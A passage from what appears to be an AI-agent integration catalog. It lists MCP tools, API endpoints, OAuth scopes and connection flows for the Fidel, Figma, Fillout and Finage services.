/programs/{programId}/mid-requests/{midRequestId} GET /api/v1/fidel/programs/{programId}/mid-requests/{midRequestId}. Scopes: api. fidel_get_programs_by_programid_mids (read) — List mids via GET /programs/{programId}/mids GET /api/v1/fidel/programs/{programId}/mids. Scopes: api. fidel_get_programs_by_programid_mids_by_midid (read) — Get mid via GET /programs/{programId}/mids/{midId} GET /api/v1/fidel/programs/{programId}/mids/{midId}. Scopes: api. fidel_get_programs_by_programid_missing_transaction_requests (read) — List missing transaction requests via GET /programs/{programId}/missing-transaction-requests GET /api/v1/fidel/programs/{programId}/missing-transaction-requests. Scopes: api. fidel_get_programs_by_programid_transactions (read) — List Transactions by Program via GET /programs/{programId}/transactions GET /api/v1/fidel/programs/{programId}/transactions. Scopes: api. fidel_get_transactions_by_transactionid (read) — Get Transaction via GET /transactions/{transactionId} GET /api/v1/fidel/transactions/{transactionId}. Scopes: api. fidel_patch_brands_by_brandid (write) — Update Brand via PATCH /brands/{brandId} PATCH /api/v1/fidel/brands/{brandId}. Scopes: api. fidel_patch_hooks_by_hookid (write) — Update Webhook via PATCH /hooks/{hookId} PATCH /api/v1/fidel/hooks/{hookId}. Scopes: api. fidel_patch_locations_by_locationid (write) — Update Location via PATCH /locations/{locationId}. Update location details. PATCH /api/v1/fidel/locations/{locationId}. Scopes: api. fidel_patch_offers_by_offerid (write) — Update Offer via PATCH /offers/{offerId}. Update specific offer properties. PATCH /api/v1/fidel/offers/{offerId}. Scopes: api. fidel_patch_programs_by_programid (write) — Update Program via PATCH /programs/{programId} PATCH /api/v1/fidel/programs/{programId}. Scopes: api. fidel_post_brands (write) — Create Brand via POST /brands POST /api/v1/fidel/brands. Scopes: api. fidel_post_cards_by_cardid_missing_transaction_requests (write) — Create missing transaction request via POST /cards/{cardId}/missing-transaction-requests POST /api/v1/fidel/cards/{cardId}/missing-transaction-requests. Scopes: api. fidel_post_hooks (write) — Create Webhook (Brand) via POST /hooks POST /api/v1/fidel/hooks. Scopes: api. fidel_post_marketplace_offers_by_marketplaceofferid_offers (write) — Create Offer from Marketplace Offer via POST /marketplace-offers/{marketplaceOfferId}/offers POST /api/v1/fidel/marketplace-offers/{marketplaceOfferId}/offers. Scopes: api. fidel_post_offers (write) — Create Offer via POST /offers POST /api/v1/fidel/offers. Scopes: api. fidel_post_offers_by_offerid_cards_by_cardid (write) — Activate Offer on Card via POST /offers/{offerId}/cards/{cardId} POST /api/v1/fidel/offers/{offerId}/cards/{cardId}. Scopes: api. fidel_post_offers_by_offerid_locations_by_locationid (write) — Link Location to Offer via POST /offers/{offerId}/locations/{locationId}. Links locations to an offer. POST /api/v1/fidel/offers/{offerId}/locations/{locationId}. Scopes: api. fidel_post_offers_by_offerid_programs_by_programid_locations (write) — Link All Brand Locations to Offer via POST /offers/{offerId}/programs/{programId}/locations. Links locations to an offer. POST /api/v1/fidel/offers/{offerId}/programs/{programId}/locations. Scopes: api. fidel_post_programs (write) — Create Program via POST /programs POST /api/v1/fidel/programs. Scopes: api. fidel_post_programs_by_programid_cards (write) — Create Card via POST /programs/{programId}/cards POST /api/v1/fidel/programs/{programId}/cards. Scopes: api. fidel_post_programs_by_programid_hooks (write) — Create Webhook (Program) via POST /programs/{programId}/hooks POST /api/v1/fidel/programs/{programId}/hooks. Scopes: api. fidel_post_programs_by_programid_locations (write) — Create Location via POST /programs/{programId}/locations. Creating a location requires a programId, brandId, and address details. Optionally, you can add merchantIDs. POST /api/v1/fidel/programs/{programId}/locations. Scopes: api. fidel_post_programs_by_programid_mid_requests (write) — Create mid request via POST /programs/{programId}/mid-requests POST /api/v1/fidel/programs/{programId}/mid-requests. Scopes: api. fidel_post_transactions_test (write) — Create Transaction via POST /transactions/test. This API endpoint only works in the test environment. POST /api/v1/fidel/transactions/test. Scopes: api. fidel_put_cards_by_cardid_metadata (write) — Update Card Metadata via PUT /cards/{cardId}/metadata PUT /api/v1/fidel/cards/{cardId}/metadata. Scopes: api. ================================================================================ ## Figma URL: https://www.agenticfabriq.com/integrations/figma Section: Integrated Tools Figma — 38 MCP tools Provider key: figma. Scopes: current_user:read, file_comments:read, file_comments:write, file_content:read, file_dev_resources:read, file_dev_resources:write, file_metadata:read, file_versions:read, folder_metadata:read, folders:read, library_assets:read, library_content:read, team_library_content:read, webhooks:read, webhooks:write. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. figma_delete_v1_files_by_file_key_comments_by_comment_id (write, destructive) — Delete comment via DELETE /v1/files/{file_key}/comments/{comment_id} DELETE /api/v1/figma/v1/files/{file_key}/comments/{comment_id}. Scopes: file_comments:write. figma_delete_v1_files_by_file_key_comments_by_comment_id_reactions (write, destructive) — Delete comment reaction via DELETE /v1/files/{file_key}/comments/{comment_id}/reactions DELETE /api/v1/figma/v1/files/{file_key}/comments/{comment_id}/reactions. Scopes: file_comments:write. figma_delete_v1_files_by_file_key_dev_resources_by_dev_resource_id (write, destructive) — Delete dev resource via DELETE /v1/files/{file_key}/dev_resources/{dev_resource_id} DELETE /api/v1/figma/v1/files/{file_key}/dev_resources/{dev_resource_id}. Scopes: file_dev_resources:write. figma_delete_v2_webhooks_by_webhook_id (write, destructive) — Delete webhook via DELETE /v2/webhooks/{webhook_id} DELETE /api/v1/figma/v2/webhooks/{webhook_id}. Scopes: webhooks:write. figma_get_v1_component_sets_by_key (read) — Get component set via GET /v1/component_sets/{key} GET /api/v1/figma/v1/component_sets/{key}. Scopes: library_assets:read. figma_get_v1_components_by_key (read) — Get component via GET /v1/components/{key} GET /api/v1/figma/v1/components/{key}. Scopes: library_assets:read. figma_get_v1_files_by_file_key (read) — Get file via GET /v1/files/{file_key} GET /api/v1/figma/v1/files/{file_key}. Scopes: file_content:read. figma_get_v1_files_by_file_key_comments (read) — Get comments via GET /v1/files/{file_key}/comments GET /api/v1/figma/v1/files/{file_key}/comments. Scopes: file_comments:read. figma_get_v1_files_by_file_key_comments_by_comment_id_reactions (read) — Get comment reactions via GET /v1/files/{file_key}/comments/{comment_id}/reactions GET /api/v1/figma/v1/files/{file_key}/comments/{comment_id}/reactions. Scopes: file_comments:read. figma_get_v1_files_by_file_key_component_sets (read) — Get file component sets via GET /v1/files/{file_key}/component_sets GET /api/v1/figma/v1/files/{file_key}/component_sets. Scopes: library_content:read. figma_get_v1_files_by_file_key_components (read) — Get file components via GET /v1/files/{file_key}/components GET /api/v1/figma/v1/files/{file_key}/components. Scopes: library_content:read. figma_get_v1_files_by_file_key_dev_resources (read) — Get dev resources via GET /v1/files/{file_key}/dev_resources GET /api/v1/figma/v1/files/{file_key}/dev_resources. Scopes: file_dev_resources:read. figma_get_v1_files_by_file_key_images (read) — Get image fills via GET /v1/files/{file_key}/images GET /api/v1/figma/v1/files/{file_key}/images. Scopes: file_content:read. figma_get_v1_files_by_file_key_meta (read) — Get file meta via GET /v1/files/{file_key}/meta GET /api/v1/figma/v1/files/{file_key}/meta. Scopes: file_metadata:read. figma_get_v1_files_by_file_key_nodes (read) — Get file nodes via GET /v1/files/{file_key}/nodes GET /api/v1/figma/v1/files/{file_key}/nodes. Scopes: file_content:read. figma_get_v1_files_by_file_key_styles (read) — Get file styles via GET /v1/files/{file_key}/styles GET /api/v1/figma/v1/files/{file_key}/styles. Scopes: library_content:read. figma_get_v1_files_by_file_key_versions (read) — Get file versions via GET /v1/files/{file_key}/versions GET /api/v1/figma/v1/files/{file_key}/versions. Scopes: file_versions:read. figma_get_v1_images_by_file_key (read) — Get images via GET /v1/images/{file_key} GET /api/v1/figma/v1/images/{file_key}. Scopes: file_content:read. figma_get_v1_me (read) — Get me via GET /v1/me GET /api/v1/figma/v1/me. Scopes: current_user:read. figma_get_v1_oembed (read) — Get o embed via GET /v1/oembed GET /api/v1/figma/v1/oembed. Scopes: file_metadata:read. figma_get_v1_styles_by_key (read) — Get style via GET /v1/styles/{key} GET /api/v1/figma/v1/styles/{key}. Scopes: library_assets:read. figma_get_v1_teams_by_team_id_component_sets (read) — Get team component sets via GET /v1/teams/{team_id}/component_sets GET /api/v1/figma/v1/teams/{team_id}/component_sets. Scopes: team_library_content:read. figma_get_v1_teams_by_team_id_components (read) — Get team components via GET /v1/teams/{team_id}/components GET /api/v1/figma/v1/teams/{team_id}/components. Scopes: team_library_content:read. figma_get_v1_teams_by_team_id_styles (read) — Get team styles via GET /v1/teams/{team_id}/styles GET /api/v1/figma/v1/teams/{team_id}/styles. Scopes: team_library_content:read. figma_get_v2_folders_by_folder_id_files (read) — Get folder files via GET /v2/folders/{folder_id}/files GET /api/v1/figma/v2/folders/{folder_id}/files. Scopes: folders:read. figma_get_v2_folders_by_folder_id_folders (read) — Get folder folders via GET /v2/folders/{folder_id}/folders GET /api/v1/figma/v2/folders/{folder_id}/folders. Scopes: folders:read. figma_get_v2_folders_by_folder_id_meta (read) — Get folder meta via GET /v2/folders/{folder_id}/meta GET /api/v1/figma/v2/folders/{folder_id}/meta. Scopes: folder_metadata:read. figma_get_v2_teams_by_team_id_folders (read) — Get team folders via GET /v2/teams/{team_id}/folders GET /api/v1/figma/v2/teams/{team_id}/folders. Scopes: folders:read. figma_get_v2_teams_by_team_id_webhooks (read) — Get team webhooks via GET /v2/teams/{team_id}/webhooks GET /api/v1/figma/v2/teams/{team_id}/webhooks. Scopes: webhooks:read. figma_get_v2_webhooks (read) — Get webhooks via GET /v2/webhooks GET /api/v1/figma/v2/webhooks. Scopes: webhooks:read. figma_get_v2_webhooks_by_webhook_id (read) — Get webhook via GET /v2/webhooks/{webhook_id} GET /api/v1/figma/v2/webhooks/{webhook_id}. Scopes: webhooks:read. figma_get_v2_webhooks_by_webhook_id_requests (read) — Get webhook requests via GET /v2/webhooks/{webhook_id}/requests GET /api/v1/figma/v2/webhooks/{webhook_id}/requests. Scopes: webhooks:read. figma_post_v1_dev_resources (write) — Post dev resources via POST /v1/dev_resources POST /api/v1/figma/v1/dev_resources. Scopes: file_dev_resources:write. figma_post_v1_files_by_file_key_comments (write) — Post comment via POST /v1/files/{file_key}/comments POST /api/v1/figma/v1/files/{file_key}/comments. Scopes: file_comments:write. figma_post_v1_files_by_file_key_comments_by_comment_id_reactions (write) — Post comment reaction via POST /v1/files/{file_key}/comments/{comment_id}/reactions POST /api/v1/figma/v1/files/{file_key}/comments/{comment_id}/reactions. Scopes: file_comments:write. figma_post_v2_webhooks (write) — Post webhook via POST /v2/webhooks POST /api/v1/figma/v2/webhooks. Scopes: webhooks:write. figma_put_v1_dev_resources (write) — Put dev resources via PUT /v1/dev_resources PUT /api/v1/figma/v1/dev_resources. Scopes: file_dev_resources:write. figma_put_v2_webhooks_by_webhook_id (write) — Put webhook via PUT /v2/webhooks/{webhook_id} PUT /api/v1/figma/v2/webhooks/{webhook_id}. Scopes: webhooks:write. ================================================================================ ## Fillout URL: https://www.agenticfabriq.com/integrations/fillout Section: Integrated Tools Fillout — 8 MCP tools Provider key: fillout. Scopes: api. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. fillout_delete_forms_by_formid_submissions_by_submissionid (write, destructive) — Delete submission by ID via DELETE /forms/{formId}/submissions/{submissionId}. Deletes a submission by its ID. Permanent; Fillout answers 200 with no body when the submission is gone. DELETE /api/v1/fillout/forms/{formId}/submissions/{submissionId}. Scopes: api. fillout_get_forms (read) — Get all forms via GET /forms. Returns a list of all your forms. Returns the public formId and name of every form in the account; formId is what every other tool takes. GET /api/v1/fillout/forms. Scopes: api. fillout_get_forms_by_formid (read) — Get form metadata via GET /forms/{formId}. Given the formId, returns all the questions in that form and other metadata. The metadata carries every question with its id, name and type, plus calculations, URL parameters, scheduling and payment fields and the quiz configuration where enabled -- the question ids are what `fillout_post_forms_by_formid_submissions` answers against. GET /api/v1/fillout/forms/{formId}. Scopes: api. fillout_get_forms_by_formid_submissions (read) — Get all submissions via GET /forms/{formId}/submissions. Returns a list of all submissions for a given form. Paginated: `limit` is 1-150 (default 50) and `offset` is the starting position; the response carries `responses`, `totalResponses` and `pageCount`. Only finished submissions come back unless `status=in_progress`. GET /api/v1/fillout/forms/{formId}/submissions. Scopes: api. fillout_get_forms_by_formid_submissions_by_submissionid (read) — Get submission by ID via GET /forms/{formId}/submissions/{submissionId}. Returns a single submission by its ID. GET /api/v1/fillout/forms/{formId}/submissions/{submissionId}. Scopes: api. fillout_post_forms_by_formid_submissions (write) — Create submissions via POST /forms/{formId}/submissions. Create new submissions for a form. Up to 10 submissions per call. Each submission needs `questions` (a list of {id, value} keyed by the question ids from the form metadata) and may carry urlParameters, scheduling, payments, login, submissionTime and lastUpdatedAt. POST /api/v1/fillout/forms/{formId}/submissions. Scopes: api. fillout_post_webhook_create (write) — Create a webhook via POST /webhook/create. Creates a webhook for a given form. Fillout POSTs each new submission of the form to `url`; the response carries the numeric webhook `id` needed to remove it. POST /api/v1/fillout/webhook/create. Scopes: api. fillout_post_webhook_delete (write, destructive) — Remove a webhook via POST /webhook/delete. Removes a webhook. Destroys the webhook: pass the `id` returned when it was created (as a string). This is a POST on the wire, but its effect is a delete. POST /api/v1/fillout/webhook/delete. Scopes: api. ================================================================================ ## Finage URL: https://www.agenticfabriq.com/integrations/finage Section: Integrated Tools Finage — 70 MCP tools Provider key: finage. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. finage_get_agg_crypto_by_symbol_by_multiply_by_time_by_from_by_to (read) — With the Crypto Market Aggregates API, you can get the tick bars of the crypto market. Package permission ids: [2] GET /api/v1/finage/agg/crypto/{symbol}/{multiply}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_crypto_prev_close_by_symbol (read) — With the Crypto Previous Close endpoint, you can get the previous day's last tick bar of the crypto market. Package permission ids: [2] GET /api/v1/finage/agg/crypto/prev-close/{symbol}. Scopes: api. finage_get_agg_etf_by_symbol_by_time_by_from_by_to (read) — With the CFD ETF Market Aggregates API, you can get the tick bars of the ETF (Exchange Traded Fund) market. Package permission ids: [4] GET /api/v1/finage/agg/etf/{symbol}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_etf_prev_close_by_symbol (read) — With the ETF Previous Close API, you can get the previous day's last tick bar of the ETF market. Package permission ids: [4] GET /api/v1/finage/agg/etf/prev-close/{symbol}. Scopes: api. finage_get_agg_forex_by_symbol_by_multiply_by_time_by_from_by_to (read) — With the Forex Aggregates API, you can get the tick bars of the forex symbol. Package permission ids: none published for this endpoint in the catalog. GET /api/v1/finage/agg/forex/{symbol}/{multiply}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_forex_prev_close_by_symbol (read) — With the Forex Previous Close API, you can get the previous day's last tick bar of the forex market. Package permission ids: [6] GET /api/v1/finage/agg/forex/prev-close/{symbol}. Scopes: api. finage_get_agg_index_by_symbol_by_time_by_from_by_to (read) — With the Index Market Aggregates API, you can get the tick bars of the index market. Package permission ids: [3] GET /api/v1/finage/agg/index/{symbol}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_index_prev_close_by_symbol (read) — With the Index Previous Close API, you can get the previous day's last tick bar of the index market. Package permission ids: [3] GET /api/v1/finage/agg/index/prev-close/{symbol}. Scopes: api. finage_get_agg_stock_by_symbol_by_multiply_by_time_by_from_by_to (read) — With the Stock Market Aggregates endpoint, you can get the OHLCV bars of the stock market. Package permission ids: [1] GET /api/v1/finage/agg/stock/{symbol}/{multiply}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_stock_global_ca_by_symbol_by_time_by_from_by_to (read) — With the Canada Market Aggregates API, you can get the tick bars of the Canada market. Package permission ids: [7] GET /api/v1/finage/agg/stock/global/ca/{symbol}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_stock_global_in_by_symbol_by_time_by_from_by_to (read) — With the Indian Market Aggregates API, you can get the tick bars of the Indian market. Package permission ids: [10] GET /api/v1/finage/agg/stock/global/in/{symbol}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_stock_global_ru_by_symbol_by_time_by_from_by_to (read) — With the Russian Market Aggregates API, you can get the tick bars of the Russian market. Package permission ids: [8] GET /api/v1/finage/agg/stock/global/ru/{symbol}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_stock_global_uk_by_symbol_by_time_by_from_by_to (read) — With the UK Market Aggregates API, you can get the tick bars of the UK market. Package permission ids: [11] GET /api/v1/finage/agg/stock/global/uk/{symbol}/{time}/{from_}/{to}. Scopes: api. finage_get_agg_stock_prev_close_by_symbol (read) — With the Stock Market Previous Close API, you can get the historiacal end of day data and also previous day's last tick bar of the stock market. Package permission ids: [1] GET /api/v1/finage/agg/stock/prev-close/{symbol}. Scopes: api. finage_get_convert_crypto_by_from_by_to_by_amount (read) — You can convert crypto by using this API. (eg. BTC to ETH, USD to DOGE, SHIB to BTC etc.) Package permission ids: [2] GET /api/v1/finage/convert/crypto/{from_}/{to}/{amount}. Scopes: api. finage_get_convert_forex_by_from_by_to_by_amount (read) — With this endpoint, you can convert the currencies with the real-time prices. Package permission ids: [6] GET /api/v1/finage/convert/forex/{from_}/{to}/{amount}. Scopes: api. finage_get_fnd_balance_sheet_statements_by_symbol (read) — Balance sheet statements of the U.S. companies. Package permission ids: [5] GET /api/v1/finage/fnd/balance-sheet-statements/{symbol}. Scopes: api. finage_get_fnd_bonds_us_rate_by_symbol (read) — With this endpoint, you can get the latest rates (percentage) of the bonds. Given table below includes name and the symbol of the bonds. You can use the symbol name in the brackets to make API requests. US 1M(DGS1MO) US 3M(DGS3MO) US 6M(DGS6MO) US 1Y(DGS1) US 2Y(DGS2) US 5Y(DGS5) US 7Y(DGS7) US 10Y(DGS10) US 20Y(DGS20) US 30Y(DGS30) Package permission ids: [5, 27] GET /api/v1/finage/fnd/bonds/us/rate/{symbol}. Scopes: api. finage_get_fnd_cash_flow_statement_by_symbol (read) — Cash flow statements of the U.S. companies. Package permission ids: [5] GET /api/v1/finage/fnd/cash-flow-statement/{symbol}. Scopes: api. finage_get_fnd_delisted_companies (read) — Our Delisted Companies API will show you the companies delisted from exchanges. Package permission ids: [5] GET /api/v1/finage/fnd/delisted-companies. Scopes: api. finage_get_fnd_detail_country_by_country_code (read) — You can get the country details by country code. Package permission ids: [5, 6, 27] GET /api/v1/finage/fnd/detail/country/{country_code}. Scopes: api. finage_get_fnd_detail_cryptocurrency_by_key (read) — You can search crypto by crypto name, description or symbol. Package permission ids: [5, 2, 27] GET /api/v1/finage/fnd/detail/cryptocurrency/{key}. Scopes: api. finage_get_fnd_detail_currency_by_symbol (read) — You can get the currency details by currency name. Package permission ids: [6, 5, 27] GET /api/v1/finage/fnd/detail/currency/{symbol}. Scopes: api. finage_get_fnd_detail_stock_by_symbol (read) — With the Stock Market Details API, you can get the stock market details. Package permission ids: [5, 27] GET /api/v1/finage/fnd/detail/stock/{symbol}. Scopes: api. finage_get_fnd_dividend_calendar (read) — Our Dividends API will show you the dividend data for stocks going back 30 years. Package permission ids: [5] GET /api/v1/finage/fnd/dividend-calendar. Scopes: api. finage_get_fnd_earning_calendar (read) — Our Earnings Calendar API will show you the earnings release for companies. In the earnings calendar eps, estimated_eps, revenue, or estimated_revenue value could be null according to the event or date of the event. Package permission ids: [5] GET /api/v1/finage/fnd/earning-calendar. Scopes: api. finage_get_fnd_economic_calendar (read) — Our Economic Calendar API will show you the previous and the future events. Choose the from and to dates to receive a certain range of events. In the economic calendar actual, previous, change, changePercentage or estimate value could be null according to the event or date of the event. Package permission ids: [5] GET /api/v1/finage/fnd/economic-calendar. Scopes: api. finage_get_fnd_financial_ratios_by_symbol (read) — Evaluate a company’s financial health with the Financial Ratios API. This API delivers in-depth insights into profitability, liquidity, and efficiency ratios, allowing users to analyze operational and financial performance across multiple key metrics. Package permission ids: [5] GET /api/v1/finage/fnd/financial-ratios/{symbol}. Scopes: api. finage_get_fnd_funds_institutional_holder_by_symbol (read) — The Institutional Holders API provides a more detailed view of the Institutional stock holdings. Package permission ids: [5] GET /api/v1/finage/fnd/funds/institutional-holder/{symbol}. Scopes: api. finage_get_fnd_funds_mutual_fund_holder_by_symbol (read) — The Mutual Fund Holders API provides a more detailed view of the Mutual Fund Holders of the selected symbol. Package permission ids: [5] GET /api/v1/finage/fnd/funds/mutual-fund-holder/{symbol}. Scopes: api. finage_get_fnd_funds_rss_feed (read) — The following SEC RSS feeds are a helpful online resource for staying current on the most recent materials posted to the SEC website, including EDGAR filings. Package permission ids: [5, 27] GET /api/v1/finage/fnd/funds/rss-feed. Scopes: api. finage_get_fnd_historical_dividends_by_symbol (read) — Our Historical Dividends API will show you the dividends data for a specific company. Package permission ids: [5] GET /api/v1/finage/fnd/historical-dividends/{symbol}. Scopes: api. finage_get_fnd_historical_stock_splits_by_symbol (read) — Our Historical Stock Split API will show you the splits data for a specific company. Package permission ids: [1, 5] GET /api/v1/finage/fnd/historical-stock-splits/{symbol}. Scopes: api. finage_get_fnd_income_statement_by_symbol (read) — Income statements of the U.S. companies. Package permission ids: [5] The catalog also lists this route as "International Filings" (https://api.finage.co.uk/fnd/income-statement/{ symbol.exchange_code }): Income statements for International companies. UK Stock Market: L Canadian Stock Market: TO Russian Stock Market: ME Indian Stock Market: NS Hong Kong Stock Market: HK Germany Stock Market: DE European Stock Market: PA Norway Stock Market: OL Australian Stock Market: AX Swiss Stock Market: SW GET /api/v1/finage/fnd/income-statement/{symbol}. Scopes: api. finage_get_fnd_ipo_calendar (read) — Our IPO Calendar API will show you the recent and upcoming IPOs. In the IPO calendar shares, price_range, market_cap, value could be null according to the event or date of the event. Package permission ids: [5] GET /api/v1/finage/fnd/ipo-calendar. Scopes: api. finage_get_fnd_last_crypto_detailed_by_symbol (read) — Finage has more than 5500+ cryptocurrency symbols in real-time. Package permission ids: [5, 2] GET /api/v1/finage/fnd/last/crypto/detailed/{symbol}. Scopes: api. finage_get_fnd_list_cryptocurrency (read) — Crypto market cap rank endpoint will help you to get a list of crypto with name, thumbnail, market cap, and all-time high price with one API request. Package permission ids: [2, 5] GET /api/v1/finage/fnd/list/cryptocurrency. Scopes: api. finage_get_fnd_market_information_us_most_actives (read) — Package permission ids: [5, 27] GET /api/v1/finage/fnd/market-information/us/most-actives. Scopes: api. finage_get_fnd_market_information_us_most_gainers (read) — This API provides the top-gaining stocks today, including share price change and percentage. Package permission ids: [5, 27] GET /api/v1/finage/fnd/market-information/us/most-gainers. Scopes: api. finage_get_fnd_market_information_us_most_losers (read) — This API provides the most losers stocks today, including share price change and percentage. Package permission ids: [5, 27] GET /api/v1/finage/fnd/market-information/us/most-losers. Scopes: api. finage_get_fnd_market_information_us_sector_performance (read) — The Finage sector performance API provides specific sector performance daily basis including change and percentage. Package permission ids: [5] GET /api/v1/finage/fnd/market-information/us/sector-performance. Scopes: api. finage_get_fnd_search_country_by_key (read) — You can search the countries by country name or currency code. Package permission ids: [5, 6, 27] GET /api/v1/finage/fnd/search/country/{key}. Scopes: api. finage_get_fnd_search_cryptocurrency_by_key (read) — You can get the details of the crypto by its name or symbol. Package permission ids: [2, 5, 27] GET /api/v1/finage/fnd/search/cryptocurrency/{key}. Scopes: api. finage_get_fnd_search_currency_by_key (read) — You can search the forex currencies by symbol name or currency details. Package permission ids: [6, 5, 27] GET /api/v1/finage/fnd/search/currency/{key}. Scopes: api. finage_get_fnd_search_market_by_market_by_key (read) — You can search markets by stock name or company description. Package permission ids: [5, 1, 27] GET /api/v1/finage/fnd/search/market/{market}/{key}. Scopes: api. finage_get_fnd_shares_float_by_symbol (read) — You can get the shares float by using this endpoint. Package permission ids: [5, 27] GET /api/v1/finage/fnd/shares-float/{symbol}. Scopes: api. finage_get_fnd_signals_forex_by_timeframe_by_symbol (read) — The Forex Technical Indicators API is designed to provide dynamic results for a wide range of technical analysis calculations, including signals like confidence, as well as indicators such as SMA, RSI, MACD, Bollinger Bands, and more. Package permission ids: [6, 5] The catalog also lists this route as "Forex Signal API" (https://api.finage.co.uk/fnd/signals/forex/{ interval }/{ symbol }): The Finage Signal API is an forecasting tool that delivers real-time trading signals based on widely used technical indicators such as RSI, MACD, SMA, and Bollinger Bands. Each response includes a recommended signal (buy, sell, or hold), a confidence score, and the full set of indicators used to generate the result. GET /api/v1/finage/fnd/signals/forex/{timeframe}/{symbol}. Scopes: api. finage_get_fnd_signals_us_stock_by_interval_by_symbol (read) — The Finage US Stocks Signal API is an forecasting tool that delivers real-time trading signals based on widely used technical indicators such as RSI, MACD, SMA, and Bollinger Bands. Each response includes a recommended signal (buy, sell, or hold), a confidence score, and the full set of indicators used to generate the result. Package permission ids: [5] GET /api/v1/finage/fnd/signals/us-stock/{interval}/{symbol}. Scopes: api. finage_get_fnd_stock_split_calendar (read) — Our Stock Split API will show you the splits data. Package permission ids: [5] GET /api/v1/finage/fnd/stock-split-calendar. Scopes: api. finage_get_fnd_technical_indicator_by_type_by_time_by_symbol (read) — The Finage Technical Indicators API aims to provide dynamic results for a large number of technical analysis calculations such as DEMA, EMA, SMA, WMA, RSI, TEMA, Williams, ADX and others. Package permission ids: [5, 27] GET /api/v1/finage/fnd/technical-indicator/{type}/{time}/{symbol}. Scopes: api. finage_get_last_crypto_by_symbol (read) — You can get the prices in Real-Time with this endpoint. Package permission ids: [2] GET /api/v1/finage/last/crypto/{symbol}. Scopes: api. finage_get_last_etf_by_symbol (read) — You can get the last ETFs price for a symbol with this endpoint. Package permission ids: [4] GET /api/v1/finage/last/etf/{symbol}. Scopes: api. finage_get_last_forex_by_symbol (read) — You can get the last quote for a symbol with this endpoint. Package permission ids: [6] GET /api/v1/finage/last/forex/{symbol}. Scopes: api. finage_get_last_index_by_symbol (read) — You can get the last quote for a symbol with this endpoint. Package permission ids: [3] GET /api/v1/finage/last/index/{symbol}. Scopes: api. finage_get_last_quote_crypto_by_symbol (read) — You can get the last quote prices in Real-Time with this endpoint. Package permission ids: [2] GET /api/v1/finage/last/quote/crypto/{symbol}. Scopes: api. finage_get_last_stock_by_symbol (read) — You can get the last quote for a symbol with this endpoint. Package permission ids: [1] GET /api/v1/finage/last/stock/{symbol}. Scopes: api. finage_get_last_stock_ca_by_symbol (read) — Finage has more than 2300+ Canada market data in real-time. You can get the last price for a symbol with this endpoint. Package permission ids: [7] GET /api/v1/finage/last/stock/ca/{symbol}. Scopes: api. finage_get_last_stock_in_by_symbol (read) — Finage has more than 4900+ Indian market data in delayed. You can get the last price for a symbol with this endpoint. Package permission ids: [10] GET /api/v1/finage/last/stock/in/{symbol}. Scopes: api. finage_get_last_stock_ru_by_symbol (read) — Finage has more than 240+ Russian market data in real-time. You can get the last price for a symbol with this endpoint. Package permission ids: [8] GET /api/v1/finage/last/stock/ru/{symbol}. Scopes: api. finage_get_last_stock_uk_by_symbol (read) — Finage has more than 1200+ UK stock market data in delayed. You can get the last price for a symbol with this endpoint. Package permission ids: [11] GET /api/v1/finage/last/stock/uk/{symbol}. Scopes: api. finage_get_last_trade_forex_by_symbol (read) — You can get the last trade price for a symbol with this endpoint. Package permission ids: [6] GET /api/v1/finage/last/trade/forex/{symbol}. Scopes: api. finage_get_last_trade_stock_by_symbol (read) — You can get the last trade for a symbol with this endpoint. Package permission ids: [1] GET /api/v1/finage/last/trade/stock/{symbol}. Scopes: api. finage_get_marketstatus (read) — Market Status API is an endpoint that shows the market, forex and crypto statuses. You can check the market is closed, open or in extended hours with our Market Status API. Package permission ids: [5, 42, 41, 51, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 26, 25, 24, 27, 23, 22, 21, 28, 20, 14, 13, 12, 11, 15, 10, 9, 8, 7, 18, 17, 16, 6, 4, 19, 2, 3, 1] GET /api/v1/finage/marketstatus. Scopes: api. finage_get_news_cryptocurrency_by_symbol (read) — Finage's Crypto News API is the fastest crypto news API in the market. Our In-Memory Cache Engine will cache the old news according to the request frequency. It will help you to build faster websites and applications. Your customers will have a quick access without waiting for the news to load. Package permission ids: [2, 5] GET /api/v1/finage/news/cryptocurrency/{symbol}. Scopes: api. finage_get_news_forex_by_symbol (read) — By using our Forex News API, you can get the latest news about the currencies and the countries which is using the selected currency. Package permission ids: [6, 5] GET /api/v1/finage/news/forex/{symbol}. Scopes: api. finage_get_news_market_by_symbol (read) — We provide you the latest market news via the Market News API. Package permission ids: [1, 5] GET /api/v1/finage/news/market/{symbol}. Scopes: api. finage_get_snapshot_crypto (read) — Crypto Snapshot API will give you access to all available crypto with one single API request. You can get the latest trades, quotes or both of them with one request. Package permission ids: [2] GET /api/v1/finage/snapshot/crypto. Scopes: api. finage_get_snapshot_forex (read) — The Finage Forex Signal API is an 